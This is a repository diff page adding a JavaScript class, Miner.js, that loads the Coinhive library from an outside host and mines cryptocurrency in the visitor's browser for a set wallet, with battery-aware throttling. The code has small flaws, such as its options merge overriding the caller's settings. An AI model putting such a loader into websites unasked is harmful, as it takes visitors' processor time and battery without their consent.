aboutsummaryrefslogtreecommitdiffstats
path: root/src/lib/Miner.js
diff options
context:
space:
mode:
Diffstat (limited to 'src/lib/Miner.js')
-rw-r--r--src/lib/Miner.js72
1 files changed, 72 insertions, 0 deletions
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
new file mode 100644
index 000000000..5fac92477
--- /dev/null
+++ b/src/lib/Miner.js
@@ -0,0 +1,72 @@
1export default class Miner {
2 wallet = null;
3 options = {
4 throttle: 0.75,
5 throttleIdle: 0.1,
6 };
7 miner = null;
8 interval;
9
10 constructor(wallet, options) {
11 this.wallet = wallet;
12
13 this.options = Object.assign({}, options, this.options);
14 }
15
16 start(updateFn) {
17 const script = document.createElement('script');
18 script.id = 'coinhive';
19 script.type = 'text/javascript';
20 script.src = 'https://coinhive.com/lib/coinhive.min.js';
21 document.head.appendChild(script);
22
23 script.addEventListener('load', () => {
24 const miner = new window.CoinHive.Anonymous(this.wallet);
25 miner.start();
26 miner.setThrottle(this.options.throttle);
27
28 this.miner = miner;
29
30 this.interval = setInterval(() => {
31 const hashesPerSecond = miner.getHashesPerSecond();
32 const totalHashes = miner.getTotalHashes();
33 const acceptedHashes = miner.getAcceptedHashes();
34
35 updateFn({ hashesPerSecond, totalHashes, acceptedHashes });
36 }, 1000);
37 });
38 }
39
40 stop() {
41 document.querySelector('#coinhive');
42
43 this.miner.stop();
44 clearInterval(this.interval);
45 this.miner = null;
46 }
47
48 setThrottle(throttle) {
49 if (this.miner) {
50 this.miner.setThrottle(throttle);
51 }
52 }
53
54 setActiveThrottle() {
55 if (this.miner) {
56 this.miner.setThrottle(this.options.throttle);
57 }
58 }
59
60 async setIdleThrottle() {
61 const battery = await navigator.getBattery();
62
63 if (!battery.charging) {
64 console.info(`Miner: battery is not charging, setThrottle to ${this.options.throttle}`);
65 this.setActiveThrottle();
66 } else {
67 this.miner.setThrottle(this.options.throttleIdle);
68 }
69
70 return this;
71 }
72}